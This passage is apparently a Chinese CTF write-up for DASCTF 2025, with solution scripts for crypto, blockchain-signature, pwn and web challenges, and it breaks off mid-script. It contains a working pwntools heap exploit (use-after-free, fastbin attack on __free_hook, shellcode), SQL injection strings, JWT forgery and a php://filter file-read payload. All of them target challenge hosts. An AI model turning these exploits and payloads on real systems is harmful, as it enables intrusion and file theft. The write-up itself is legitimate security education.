0xC7, 0x09, 0xE8, 0x6C, 0xC2, 0x99, 0x6B, 0x43, 0x3D, 0x29,
0xF6, 0x50, 0xB6, 0x99, 0x87, 0xA4, 0x66, 0xF0, 0x5B, 0xEF,
0x7F, 0x69, 0x94, 0x58, 0x60, 0xDC, 0xC4, 0x47, 0x42, 0xA5,
0x11, 0xF3, 0x62, 0x13, 0x85, 0xC8, 0x9F, 0xBD, 0x4D, 0x73,
0x15, 0x36, 0x15, 0x78, 0x96, 0x34, 0xB2, 0x5C, 0xFC, 0x31,
0x51, 0xA4, 0x11, 0x5B, 0xC3, 0x0C, 0x96, 0x97, 0x9E, 0x5F,
0x96, 0x52, 0x90, 0xF3, 0x6A, 0x86, 0x3E, 0x33, 0x78, 0xB5,
0xCF, 0xC9, 0xBA, 0x31, 0x43, 0x8C, 0x4B, 0xAE, 0x22, 0xB2,
0x3E, 0xF8, 0x15, 0xED, 0xF7, 0xCF, 0x17, 0x71, 0x80, 0x3B,
0xD3, 0x92, 0xA5, 0x07, 0x2B, 0x46, 0x89, 0x00, 0xB7, 0x5F,
0x5A, 0x43, 0x77, 0xD1, 0xDA, 0xF3, 0xD6, 0xF7, 0xB7, 0xB6,
0x85, 0x0D, 0x1A, 0x4A, 0x41, 0x34, 0xF2, 0xF6, 0x58, 0x40,
0xEF, 0xAA, 0x9B, 0x83, 0xD3, 0x10, 0x83, 0x05, 0x1D, 0xF0,
0xFC, 0x80, 0xA7, 0x86, 0x52, 0x91, 0x59, 0x48, 0x4F, 0x62,
0xBB, 0xB9, 0x52, 0x4F, 0x68, 0x28, 0x5F, 0x48, 0xC7, 0xAB,
0x8E, 0x03, 0xBD, 0xFE, 0xCA, 0x1A, 0x60, 0x25, 0xAA, 0xED,
0x9F, 0x97, 0x28, 0xB3, 0x90, 0x68, 0x9C, 0x0C, 0x96, 0x39,
0x20, 0xC7, 0x28, 0xEB, 0x56, 0x95, 0xFC, 0xB9, 0x41, 0x3F,
0x9F, 0x4E, 0x06, 0xD3, 0xB9, 0x3D, 0xB4, 0x0E, 0x26, 0xD6,
0x27, 0x5C, 0x84, 0xE6, 0x12, 0x6A
])
byte_C0A0 = bytes([
0x37, 0x3A, 0x2A, 0x27, 0xB3, 0x8F, 0xD7, 0x78, 0xC7, 0x16,
0x72, 0x8E, 0xBB, 0x95, 0xBE, 0x89, 0xA0, 0xA0, 0x57, 0x10,
0x91, 0x19, 0xA0, 0x8D, 0x5C, 0xE4, 0x92, 0x61, 0xEB, 0xB0,
0xE0, 0x77, 0x6D, 0x25, 0x4A, 0x40, 0xC4, 0xD2, 0x1B, 0xD2,
0x46, 0x3E, 0x61, 0x60, 0x87, 0x71, 0xDE, 0x40, 0x1E, 0xED,
0x13, 0xAC, 0x66, 0x60, 0xD9, 0x96, 0xBE, 0xA8, 0xC8, 0xB8,
0x2B, 0xDD, 0x0E, 0xAF, 0x56, 0xC3, 0x84, 0x66, 0x77, 0x6E,
0xBA, 0x31, 0xF7, 0xB2, 0x21, 0x92, 0x30, 0xB6, 0x54, 0xA7,
0x7E, 0xC0, 0xAF, 0x39, 0x5A, 0x01, 0xC3, 0x1C, 0x13, 0x9A,
0x4F, 0x6B, 0x7B, 0x8B, 0xA8, 0x45, 0x19, 0x20, 0x96, 0x16,
0x5D, 0xD7, 0xAC, 0xD0, 0x33, 0x1E, 0x79, 0xDB, 0xE4, 0x34,
0xED, 0x8C, 0x9A, 0x66, 0x58, 0x1D, 0x26, 0xF6, 0x9E, 0x5F,
0xAA, 0x29, 0x5F, 0x66, 0x01, 0x00, 0x76, 0xB9, 0x1A, 0x6D,
0xD6, 0x1D, 0xB7, 0xAB, 0xD3, 0x25, 0xF8, 0xBD, 0x25, 0xD9,
0x28, 0xDE, 0xBC, 0xC0, 0x2E, 0x55, 0x55, 0xFF, 0x81, 0xF7,
0xAE, 0x3E, 0x54, 0x8E, 0x3E, 0x46, 0x59, 0xA3, 0x7F, 0x5D,
0x3D, 0x3C, 0x39, 0xFB, 0xCA, 0xD1, 0xB5, 0x83, 0xE4, 0x2F,
0xB0, 0x4F, 0xA3, 0x28, 0xEB, 0xB7, 0x7E, 0x78, 0x41, 0xF4,
0x5B, 0x71, 0x1E, 0x77, 0xEE, 0x23, 0xE1, 0x19, 0x89, 0xDB,
0x2C, 0x0E, 0x06, 0xB8, 0x19, 0x1A, 0x45, 0x6D, 0x56, 0xBD,
0x1A, 0x7D, 0x42, 0xC4, 0x7F, 0xDF, 0xDF, 0x11, 0x79, 0x22,
0x8B, 0x57, 0xC6, 0xEF, 0xCA, 0x9B, 0x9B, 0x6A, 0x7D, 0x22,
0x68, 0x2E, 0x5B, 0x67, 0xC7, 0xC4, 0x6A, 0x87, 0x7F, 0xB6,
0x77, 0xF5, 0xF3, 0x17, 0xB4, 0x82, 0x3F, 0xCD, 0xC8, 0x12,
0xF0, 0x36, 0x2B, 0xE2, 0x7C, 0x0F, 0x54, 0x53, 0x03, 0x71,
0x48, 0xED, 0x30, 0x12, 0x7B, 0x26
])
byte_C2A0 = bytes([
0xAD, 0xD1, 0xD1, 0x19, 0x60, 0xC2, 0x2D, 0x91, 0x66, 0xDA,
0xC3, 0xC2, 0x67, 0x25, 0xC8, 0x19, 0x09, 0x17, 0x6B, 0x23,
0x8E, 0x30, 0x03, 0xAA, 0x57, 0xAA, 0xCB, 0xA0, 0xA2, 0x26,
0xB7, 0xC3, 0x1C, 0x22, 0x0B, 0x8D, 0x20, 0x9C, 0xB4, 0x95,
0xB5, 0x5D, 0xB4, 0xE2, 0x7D, 0x4E, 0x43, 0x8E
])
key = RSA.construct((n, e, d, p, q))
cipher_rsa = PKCS1_OAEP.new(key)
account = cipher_rsa.decrypt(byte_C1A0)
cipher_rsa = PKCS1_OAEP.new(key)
aes_key = cipher_rsa.decrypt(byte_C0A0)
cipher_aes = AES.new(aes_key, AES.MODE_CBC, account)
result = cipher_aes.decrypt(byte_C2A0)
text = result.decode('utf-8', errors='ignore')
print(f"{text}")
CHECKIN
将图片用记事本打开 获取base64编码


DASCTF{W3lc0me_t0_DASCTF_2025_H4lf_Y34r!}
MISC
DigitalSignature
from web3 import Web3
from eth_account.messages import encode_defunct
# 核心参数
msg = "Find out the signer. Flag is account address that wrapped by DASCTF{}."
sig = "0x019c4c2968032373cb8e19f13450e93a1abf8658097405cda5489ea22d3779b57815a7e27498057a8c29bcd38f9678b917a887665c1f0d970761cacdd8c41fb61b"
# 恢复签名地址并输出结果
addr = Web3().eth.account.recover_message(encode_defunct(text=msg), signature=sig)
print(f"Recovered address: {addr}")
print(f"Flag: DASCTF{{{addr}}}")
DASCTF{0xF319C9F3A3822C6b409c34451F7709f27173934c}
Crypto
from Crypto.Util.number import long_to_bytes, bytes_to_long
import numpy as np
# 原始参数
mask = 9319439021858903464 # 64位掩码
c = 8882504877732087312989345828667663333297225833982945014279010438327750150593504327259176959316943362605442206624947923157363187067410478202161873663103506
# ---- 1. 构造64x64的变换矩阵A和初始掩码向量M ----
A = np.zeros((64, 64), dtype=np.uint8)
M = np.zeros(64, dtype=np.uint8)
# 初始化第一行和M向量(基于mask的二进制位)
for j in range(64):
if (mask >> j) & 1:
A[0, j] = 1
M[j] = 1
# 构造下三角移位矩阵(第k行第k-1列置1)
for k in range(1, 64):
A[k, k-1] = 1
# ---- 2. 生成513个状态行(模拟线性反馈移位寄存器) ----
rows = []
r = M.copy()
for t in range(512 + 1): # t从0到512,共513个状态
rows.append(r.copy())
# 矩阵乘法后模2(GF(2)域运算)
r = (r @ A) % 2
# ---- 3. 处理密文c,转换为64字节的bytes(确保长度为64) ----
try:
c_bytes = long_to_bytes(c)
# 补零或截断到64字节,避免长度不匹配
if len(c_bytes) < 64:
c_bytes = b'\x00' * (64 - len(c_bytes)) + c_bytes
elif len(c_bytes) > 64:
c_bytes = c_bytes[-64:] # 取最后64字节(符合常规低位存储)
except Exception as e:
raise ValueError(f"密文转换失败: {e}")
# ---- 4. 构造线性方程组 A2·S0 = b2(GF(2)域) ----
A2 = np.zeros((64, 64), dtype=np.uint8)
b2 = np.zeros(64, dtype=np.uint8)
for j in range(64):
# 取第8*j行作为方程的系数
A2[j, :] = rows[8 * j]
# 取c_bytes[j]的最高位(MSB)作为方程右侧值
b2[j] = (c_bytes[j] >> 7) & 1
# ---- 5. 优化的GF(2)线性方程组求解器(带空空间计算) ----
def gf2_solve_with_nullspace(A, b):
"""
求解GF(2)域线性方程组 A·x = b
返回: 特解x_part, 零空间基, 矩阵秩
无解时返回 (None, None, None)
"""
# 深拷贝避免修改原数组,转换为int方便异或运算
A = A.copy().astype(int)
b = b.copy().astype(int)
m, n = A.shape # m行n列
row = 0 # 当前处理的行
pivot_cols = [] # 主元列
pivcol = [-1] * m # 每行对应的主元列
# 高斯消元(前向消去)
for col in range(n):
# 找当前列的主元行(第一个非零行)
pivot = None
for r in range(row, m):
if A[r, col] == 1:
pivot = r
break
if pivot is None:
continue # 该列无主元,跳过
# 交换主元行到当前行
if pivot != row:
A[[row, pivot]] = A[[pivot, row]]
b[row], b[pivot] = b[pivot], b[row]
pivot_cols.append(col)
pivcol[row] = col
# 消去其他行的当前列
for r in range(m):
if r != row and A[r, col] == 1:
A[r, :] ^= A[row, :]
b[r] ^= b[row]
row += 1
if row == m:
break # 所有行处理完毕
rank = row # 矩阵的秩
# 检查无解情况:全零行但b[r]=1
for r in range(rank, m):
if not np.any(A[r]) and b[r] == 1:
print("线性方程组无解!")
return None, None, None
# 构造特解
x = np.zeros(n, dtype=int)
for r in range(rank - 1, -1, -1):
col = pivcol[r]
if col == -1:
continue
# 计算非主元列的异或和
s = 0
for j in range(col + 1, n):
s ^= (A[r, j] & x[j])
x[col] = b[r] ^ s
# 构造零空间基(自由变量)
free_cols = [c for c in range(n) if c not in pivot_cols]
null_basis = []
for fc in free_cols:
v = np.zeros(n, dtype=int)
v[fc] = 1 # 自由变量设为1
# 回代求解主元变量
for r in range(rank - 1, -1, -1):
col = pivcol[r]
if col == -1:
continue
s = 0
for j in range(col + 1, n):
s ^= (A[r, j] & v[j])
v[col] = s
null_basis.append(v)
return x, null_basis, rank
# ---- 6. 求解方程组并生成可能的种子 ----
x_part, null_basis, rank = gf2_solve_with_nullspace(A2, b2)
if x_part is None:
raise RuntimeError("未找到有效解,方程组无解!")
# 向量转64位种子(uint64)
def vec_to_seed(v):
s = 0
for i in range(64):
if v[i]:
s |= (1 << i)
return s & ((1 << 64) - 1) # 确保64位无符号
base_seed = vec_to_seed(x_part)
seeds = [base_seed]
# 加入零空间的基生成更多可能的种子(最多取前1个基,避免数量爆炸)
if null_basis and len(null_basis) > 0:
seeds.append(base_seed ^ vec_to_seed(null_basis[0]))
# ---- 7. 自定义RNG(线性反馈移位寄存器) ----
def myrng_next(seed):
"""
RNG下一个状态计算
返回: 新seed, 输出bit
"""
# 确保seed是64位无符号
seed = seed & ((1 << 64) - 1)
i = seed & mask
out = 0
# 计算mask对应位的异或和
while i:
out ^= i & 1
i >>= 1
# 左移1位 + 异或结果,保持64位
seed = ((seed << 1) | out) & ((1 << 64) - 1)
return seed, out
# ---- 8. 生成64*8=512位密钥 ----
def gen_key(seed):
st = seed
key = 0
for _ in range(64 * 8): # 生成512位
st, bit = myrng_next(st)
key = (key << 1) | bit
return key
# ---- 9. 检查字节是否可打印(ASCII 32-126) ----
def printable(bs):
return all(32 <= b <= 126 for b in bs)
# ---- 10. 遍历所有可能的种子,解密并验证flag ----
found = False
for s in seeds:
try:
key = gen_key(s)
# 解密:c ^ key(注意长度匹配)
m = c ^ key
# 转换为64字节,补零对齐
flag_inner = long_to_bytes(m, 64)
# 验证可打印性
if printable(flag_inner):
found = True
print("=" * 50)
print(f"找到有效种子: seed = {hex(s)}")
print(f"解密内容: inner = {flag_inner}")
print(f"最终flag: DASCTF{{{flag_inner.decode('utf-8')}}}")
print("=" * 50)
except Exception as e:
print(f"种子 {hex(s)} 处理失败: {e}")
continue
if not found:
print("未找到可打印的flag,请检查参数或求解逻辑!")

DASCTF{f1nd_th3_hidden_Linear_R3lat1onShip_@nd_th3n_F1nd_My_Lo5t_KEY!!!}
PWN
rcms
指针未置0,存在uaf漏洞

gift函数存在执行任意代码漏洞

漏洞利用思路,利用unsortbin和uaf泄露main_arena地址,利用Fastbin Attack劫持free_hook指向gift函数写入并执行shellcode
from pwn import *
#p=process('/home/kali/Desktop/dasctf/pwn')
context(arch='amd64',os='linux',log_level='debug')
p=remote('node5.buuoj.cn',26776)
e=ELF('/home/kali/Desktop/dasctf/pwn')
def add(index,time,cmd):
p.recvuntil(b'exit\n')
p.sendline(b'1')
p.recvuntil(b'connect:\n')
p.sendline(str(index).encode())
p.recvuntil(b'want:\n')
p.sendline(str(time).encode())
p.recvuntil(b'cmd:\n')
p.send(cmd)
def show(index):
p.recvuntil(b'exit\n')
p.sendline(b'4')
p.recvuntil(b'show:\n')
p.sendline(str(index).encode())
def change(index,cmd):
p.recvuntil(b'exit\n')
p.sendline(b'3')
p.recvuntil(b'change:\n')
p.sendline(str(index).encode())
p.recvuntil(b'cmd:\n')
p.send(cmd)
def delet(index):
p.recvuntil(b'exit\n')
p.sendline(b'2')
p.recvuntil(b'delet:\n')
p.sendline(str(index).encode())
add(11,0x410,b'a')
add(12,10,b'b')
delet(11)
#gdb.attach(p)
show(11)
libcba=u64(p.recvuntil(b'\x7f').ljust(8,b'\x00'))
print(hex(libcba))
libcbase=libcba-0x3ebca0
free_hook=libcbase+0x3ed8e8
add(1,8,b'a')
add(2,8,b'b')
delet(2)
delet(1)
show(1)
fd=u64(p.recv(6).ljust(8,b'\x00'))
print(hex(fd))
elfbase=fd-0x153a22c0
gift=fd-0x1010-0x30-0x20
change(1,p64(gift))
giftz=elfbase+0xFD8
print(hex(giftz))
#gdb.attach(p)
add(3,8,b'a')
add(4,8,b'\xd8')
show(4)
addr=u64(p.recv(6).ljust(8,b'\x00'))
print(hex(addr))
delet(3)
change(3,p64(free_hook))
add(5,8,b'1')
add(6,8,p64(addr))
elfbase=addr-0xfd8
bss=elfbase+e.bss()
payload=shellcraft.open('./flag\x00')
payload+= shellcraft.read(3, bss + 0x300,0x200)
payload+= shellcraft.write(1,bss + 0x300,0x200)
add(7,1,b'1')
#gdb.attach(p)
delet(7)
p.recvuntil(b'me?\n')
p.sendline(asm(payload))
p.interactive()

Web
SecretPhotoGallery
进来是一个登录框
尝试添加引号 单引号报错,双引号闭合,并且没有过滤什么关键字
那就直接打

从报错中可以看出,密码存在回显报错
admin
1' order by 3 -- -
admin
1' union select 1,2,3 -- -

登录后得到一串jwt

拼接后
GALLERY2024SECRET
这大概就是密钥了

伪造一下 就是admin了
进去后是一个文件包含
直接用base64读发现被过滤了
那就只能convert.iconv.UTF-7.UCS-4*当然这里还有很多其他的读法
php://filter/convert.iconv.UTF-7.UCS-4*/resource=flag.php

devweb

可以看到有publicKey
先写一个脚本去加密密码
import base64
from cryptography.hazmat.primitives.asymmetric import padding, rsa
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives.asymmetric.padding import PKCS1v15
PUBLIC_KEY_STR = "MIGeMA0GCSqGSIb3DQEBAQUAA4GMADCBiAKBgGyAKgwgFtRvud51H9otkcAxKh/8/iIlj3WlPJ0RL1pDtRvyMu5/edP84Mp9FqnZNCXKi1042pd4Y2Bf9QT0/z1i6KPiZ8zT3XNTtPOqIHO5aVaOfAl8lr52AurMZVpXwEUS2hh+Q/AN4/SV9AZPCgrUXk619aaw0Md9MNvn3w0JAgMBAAE="
def rsa_encrypt_pkcs1v15_jseencrypt(plain_text: str, pub_key_str: str) -> str:
"""
模拟JSEncrypt的PKCS1_v1_5加密行为,返回Base64编码字符串
:param plain_text: 待加密的明文(字符串)
:param pub_key_str: Base64格式的RSA公钥(无PEM头尾部)
:return: Base64编码的加密结果
"""
try:
# 1. 补全PEM格式公钥(JSEncrypt默认使用这种格式)
pem_pub_key = (
"-----BEGIN PUBLIC KEY-----\n"
+ "\n".join([pub_key_str[i:i+64] for i in range(0, len(pub_key_str), 64)])
+ "\n-----END PUBLIC KEY-----"
)
# 2. 加载公钥
public_key = serialization.load_pem_public_key(
pem_pub_key.encode("utf-8"),
backend=default_backend()
)
# 3. 将明文转为字节(JSEncrypt默认使用UTF-8编码)
plain_bytes = plain_text.encode("utf-8")
# 4. PKCS1_v1_5加密(严格匹配JSEncrypt的填充规则)
encrypted_bytes = public_key.encrypt(
plain_bytes,
PKCS1v15() # 标准PKCS1 v1.5填充,与JSEncrypt完全一致
)
# 5. Base64编码(JSEncrypt使用标准Base64,无URL安全转换)
base64_encrypted = base64.b64encode(encrypted_bytes).decode("utf-8")
return base64_encrypted
except Exception as e:
raise RuntimeError(f"加密失败: {str(e)}")
# 测试示例
if __name__ == "__main__":
# 待加密的明文
test_text = "123456"
# 执行加密
encrypted_result = rsa_encrypt_pkcs1v15_jseencrypt(test_text, PUBLIC_KEY_STR)
# 输出结果
print(f"明文: {test_text}")
print(f"加密后Base64字符串: {encrypted_result}")
再用密码和账号进行发包
import base64
import requests
from cryptography.hazmat.primitives.asymmetric import padding, rsa
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives.asymmetric.padding import PKCS1v15
import re
# RSA公钥(用于密码加密)
PUBLIC_KEY_STR = "MIGeMA0GCSqGSIb3DQEBAQUAA4GMADCBiAKBgGyAKgwgFtRvud51H9otkcAxKh/8/iIlj3WlPJ0RL1pDtRvyMu5/edP84Mp9FqnZNCXKi1042pd4Y2Bf9QT0/z1i6KPiZ8zT3XNTtPOqIHO5aVaOfAl8lr52AurMZVpXwEUS2hh+Q/AN4/SV9AZPCgrUXk619aaw0Md9MNvn3w0JAgMBAAE="
# 目标登录URL
TARGET_URL = "http://6922d98f-7d9d-46b0-b594-3de34637ce0c.node5.buuoj.cn:81/login"
# 提取基础域名(用于拼接path)
BASE_DOMAIN = TARGET_URL.rsplit('/', 1)[0]
def rsa_encrypt_pkcs1v15_jseencrypt(plain_text: str, pub_key_str: str) -> str:
"""
模拟JSEncrypt的PKCS1_v1_5加密行为,返回Base64编码字符串
:param plain_text: 待加密的明文(字符串)
:param pub_key_str: Base64格式的RSA公钥(无PEM头尾部)
:return: Base64编码的加密结果
"""
try:
# 1. 补全PEM格式公钥(JSEncrypt默认使用这种格式)
pem_pub_key = (
"-----BEGIN PUBLIC KEY-----\n"
+ "\n".join([pub_key_str[i:i+64] for i in range(0, len(pub_key_str), 64)])
+ "\n-----END PUBLIC KEY-----"
)
# 2. 加载公钥
public_key = serialization.load_pem_public_key(
pem_pub_key.encode("utf-8"),
backend=default_backend()
)
# 3. 将明文转为字节(JSEncrypt默认使用UTF-8编码)
plain_bytes = plain_text.encode("utf-8")
# 4. PKCS1_v1_5加密(严格匹配JSEncrypt的填充规则)
encrypted_bytes = public_key.encrypt(
plain_bytes,
PKCS1v15() # 标准PKCS1 v1.5填充,与JSEncrypt完全一致
)
# 5. Base64编码(JSEncrypt使用标准Base64,无URL安全转换)
base64_encrypted = base64.b64encode(encrypted_bytes).decode("utf-8")
return base64_encrypted
except Exception as e:
raise RuntimeError(f"加密失败: {str(e)}")
def extract_path_from_response(response_text: str) -> str:
"""
从响应内容中提取path(支持多种常见格式匹配)
:param response_text: 响应文本内容
:return: 提取到的path,无则返回空字符串
"""
# 匹配常见的path格式(可根据实际情况调整正则)
path_patterns = [
r'["\']path["\']\s*:\s*["\']([^"\']+)["\']', # "path": "/xxx/yyy"
r'["\']/[^"\']+["\']', # 匹配 "/xxx/yyy" 格式的path
r'\/[a-zA-Z0-9_\-\/]+', # 匹配 /xxx/yyy 格式的path
]
for pattern in path_patterns:
match = re.search(pattern, response_text)
if match:
path = match.group(1) if len(match.groups()) > 0 else match.group(0)
# 去除引号等多余字符
path = path.strip('"\'')
return path
return ""
def visit_path_url(path: str, base_domain: str) -> requests.Response:
"""
拼接path和基础域名,访问该URL并返回响应
:param path: 提取的path
:param base_domain: 基础域名
:return: 响应对象
"""
if not path:
raise ValueError("path为空,无法拼接URL")
# 拼接URL(处理path开头是否有/的情况)
if path.startswith('/'):
full_url = base_domain + path
else:
full_url = f"{base_domain}/{path}"
# 移除重复的//
full_url = full_url.replace('//', '/').replace('http:/', 'http://')
print(f"\n[*] 拼接后的完整URL: {full_url}")
# 发送请求(复用请求头,保持会话一致性)
headers = {
"User-Agent": "Mozilla/5.0",
"Content-Type": "application/x-www-form-urlencoded"
}
try:
response = requests.get(
full_url,
headers=headers,
timeout=10,
allow_redirects=True # 允许重定向
)
print(f"[*] URL访问状态码: {response.status_code}")
return response
except Exception as e:
raise RuntimeError(f"访问URL失败: {str(e)}")
def send_login_request(username, password):
"""
发送登录请求到目标URL,并处理path提取和URL访问
:param username: 登录用户名
:param password: 加密后的登录密码
:return: 登录响应对象
"""
payload = {
"username": username,
"password": password
}
headers = {
"User-Agent": "Mozilla/5.0",
"Content-Type": "application/x-www-form-urlencoded"
}
try:
print(f"[*] 向 {TARGET_URL} 发送请求 -> 用户名: {username}, 密码: {password}")
response = requests.post(
TARGET_URL,
data=payload,
headers=headers,
timeout=10
)
print(f"[*] 响应状态码: {response.status_code}")
print(f"[*] 响应内容: {response.text}")
print("-" * 80)
# 提取path
path = extract_path_from_response(response.text)
if path:
print(f"[*] 从响应中提取到path: {path}")
# 访问拼接后的URL
try:
path_response = visit_path_url(path, BASE_DOMAIN)
print(f"[*] URL访问响应内容: {path_response.text}")
print("-" * 80)
except Exception as e:
print(f"[!] 访问拼接URL失败: {e}")
else:
print("[*] 响应中未提取到有效path")
return response
except Exception as e:
print(f"[!] 发包失败: {e}")
print("-" * 80)
raise
if __name__ == "__main__":
# 1. 定义需要加密的原始密码
original_password = "123456"
print(f"[*] 原始密码: {original_password}")
print("-" * 80)
# 2. 使用RSA加密密码
try:
encrypted_password = rsa_encrypt_pkcs1v15_jseencrypt(original_password, PUBLIC_KEY_STR)
print(f"[*] RSA加密后的密码: {encrypted_password}")
print("-" * 80)
except RuntimeError as e:
print(f"[!] 密码加密失败: {e}")
exit(1)
# 3. 发送登录请求(使用加密后的密码)并处理path访问
try:
login_response = send_login_request("admin", encrypted_password)
except Exception as e:
print(f"[!] 登录请求处理失败: {e}")
exit(1)


有一个/download的下载文件接口
import base64
import requests
from cryptography.hazmat.primitives.asymmetric import padding, rsa
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives.asymmetric.padding import PKCS1v15
import re
# RSA公钥(用于密码加密)
PUBLIC_KEY_STR = "MIGeMA0GCSqGSIb3DQEBAQUAA4GMADCBiAKBgGyAKgwgFtRvud51H9otkcAxKh/8/iIlj3WlPJ0RL1pDtRvyMu5/edP84Mp9FqnZNCXKi1042pd4Y2Bf9QT0/z1i6KPiZ8zT3XNTtPOqIHO5aVaOfAl8lr52AurMZVpXwEUS2hh+Q/AN4/SV9AZPCgrUXk619aaw0Md9MNvn3w0JAgMBAAE="
# 目标登录URL
TARGET_URL = "http://6922d98f-7d9d-46b0-b594-3de34637ce0c.node5.buuoj.cn:81/login"
# 提取基础域名(用于拼接path)
BASE_DOMAIN = TARGET_URL.rsplit('/', 1)[0]
# 指定的下载URL路径
DOWNLOAD_PATH = "/download?file=app.jmx&sign=6f742c2e79030435b7edc1d79b8678f6"
def rsa_encrypt_pkcs1v15_jseencrypt(plain_text: str, pub_key_str: str) -> str:
"""
模拟JSEncrypt的PKCS1_v1_5加密行为,返回Base64编码字符串
:param plain_text: 待加密的明文(字符串)
:param pub_key_str: Base64格式的RSA公钥(无PEM头尾部)
:return: Base64编码的加密结果
"""
try:
# 1. 补全PEM格式公钥(JSEncrypt默认使用这种格式)
pem_pub_key = (
"-----BEGIN PUBLIC KEY-----\n"
+ "\n".join([pub_key_str[i:i+64] for i in range(0, len(pub_key_str), 64)])
+ "\n-----END PUBLIC KEY-----"
)
# 2. 加载公钥
public_key = serialization.load_pem_public_key(
pem_pub_key.encode("utf-8"),
backend=default_backend()
)
# 3. 将明文转为字节(JSEncrypt默认使用UTF-8编码)
plain_bytes = plain_text.encode("utf-8")
# 4. PKCS1_v1_5加密(严格匹配JSEncrypt的填充规则)
encrypted_bytes = public_key.encrypt(
plain_bytes,
PKCS1v15() # 标准PKCS1 v1.5填充,与JSEncrypt完全一致
)
# 5. Base64编码(JSEncrypt使用标准Base64,无URL安全转换)
base64_encrypted = base64.b64encode(encrypted_bytes).decode("utf-8")
return base64_encrypted
except Exception as e:
raise RuntimeError(f"加密失败: {str(e)}")
def extract_path_from_response(response_text: str) -> str:
"""
从响应内容中提取path(支持多种常见格式匹配)
:param response_text: 响应文本内容
:return: 提取到的path,无则返回空字符串
"""
# 匹配常见的path格式(可根据实际情况调整正则)
path_patterns = [
r'["\']path["\']\s*:\s*["\']([^"\']+)["\']', # "path": "/xxx/yyy"
r'["\']/[^"\']+["\']', # 匹配 "/xxx/yyy" 格式的path
r'\/[a-zA-Z0-9_\-\/]+', # 匹配 /xxx/yyy 格式的path
]
for pattern in path_patterns:
match = re.search(pattern, response_text)
if match:
path = match.group(1) if len(match.groups()) > 0 else match.group(0)
# 去除引号等多余字符
path = path.strip('"\'')
return path
return ""
def visit_path_url(path: str, base_domain: str, session: requests.Session = None) -> requests.Response:
"""
拼接path和基础域名,访问该URL并返回响应
:param path: 提取的path
:param base_domain: 基础域名
:param session: 可选的会话对象(保持cookie等状态)
:return: 响应对象
"""
if not path:
raise ValueError("path为空,无法拼接URL")
# 拼接URL(处理path开头是否有/的情况)
if path.startswith('/'):
full_url = base_domain + path
else:
full_url = f"{base_domain}/{path}"
# 移除重复的//
full_url = full_url.replace('//', '/').replace('http:/', 'http://')
print(f"\n[*] 拼接后的完整URL: {full_url}")
# 发送请求(复用请求头,保持会话一致性)
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",
"Content-Type": "application/x-www-form-urlencoded",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
"Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8",
"Accept-Encoding": "gzip, deflate",
"Connection": "keep-alive"
}
try:
# 使用会话对象或普通请求,保持状态一致性
if session:
response = session.get(
full_url,
headers=headers,
timeout=10,
allow_redirects=True # 允许重定向
)
else:
response = requests.get(
full_url,
headers=headers,
timeout=10,
allow_redirects=True # 允许重定向
)
print(f"[*] URL访问状态码: {response.status_code}")
return response
except Exception as e:
raise RuntimeError(f"访问URL失败: {str(e)}")
def send_login_request(username, password, session: requests.Session):
"""
发送登录请求到目标URL,并处理path提取和URL访问
:param username: 登录用户名
:param password: 加密后的登录密码
:param session: 会话对象(保持cookie)
:return: 登录响应对象
"""
payload = {
"username": username,
"password": password
}
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",
"Content-Type": "application/x-www-form-urlencoded",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
"Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8",
"Accept-Encoding": "gzip, deflate",
"Connection": "keep-alive",
"Origin": BASE_DOMAIN,
"Referer": TARGET_URL
}
try:
print(f"[*] 向 {TARGET_URL} 发送请求 -> 用户名: {username}, 密码: {password}")
response = session.post(
TARGET_URL,
data=payload,
headers=headers,
timeout=10
)
print(f"[*] 响应状态码: {response.status_code}")
print(f"[*] 响应内容: {response.text}")
print("-" * 80)
# 提取path
path = extract_path_from_response(response.text)
if path:
print(f"[*] 从响应中提取到path: {path}")
# 访问拼接后的URL
try:
path_response = visit_path_url(path, BASE_DOMAIN, session)
print(f"[*] URL访问响应内容: {path_response.text}")
print("-" * 80)
except Exception as e:
print(f"[!] 访问拼接URL失败: {e}")
else:
print("[*] 响应中未提取到有效path")
return response
except Exception as e:
print(f"[!] 发包失败: {e}")
print("-" * 80)
raise
def visit_download_url(session: requests.Session):
"""
访问指定的/download路径,携带会话信息和必要请求头
:param session: 登录后的会话对象
:return: 下载请求的响应对象
"""
print(f"\n[*] 准备访问下载URL: {BASE_DOMAIN + DOWNLOAD_PATH}")
print("-" * 80)
# 构建完整的下载URL
download_url = BASE_DOMAIN + DOWNLOAD_PATH
# 处理URL中的重复//问题
download_url = download_url.replace('//', '/').replace('http:/', 'http://')
# 构造下载请求的请求头(模拟浏览器行为)
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
"Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8",
"Accept-Encoding": "gzip, deflate",
"Connection": "keep-alive",
"Referer": TARGET_URL,
"Upgrade-Insecure-Requests": "1"
}
try:
# 发送GET请求访问下载链接(保持会话)
response = session.get(
download_url,
headers=headers,
timeout=15,
allow_redirects=True,
stream=True # 支持大文件下载
)
print(f"[*] 下载URL访问状态码: {response.status_code}")
print(f"[*] 响应头信息: {response.headers}")
# 处理响应内容
if response.status_code == 200:
# 判断是否是文件下载
if 'Content-Disposition' in response.headers:
# 提取文件名并保存文件
content_disposition = response.headers.get('Content-Disposition', '')
filename = re.search(r'filename=["\']?([^"\']+)["\']?', content_disposition)
save_filename = filename.group(1) if filename else 'app.jmx'
# 保存文件到本地
with open(save_filename, 'wb') as f:
for chunk in response.iter_content(chunk_size=8192):
f.write(chunk)
print(f"[*] 文件下载成功,已保存为: {save_filename}")
else:
# 非文件下载,打印响应内容
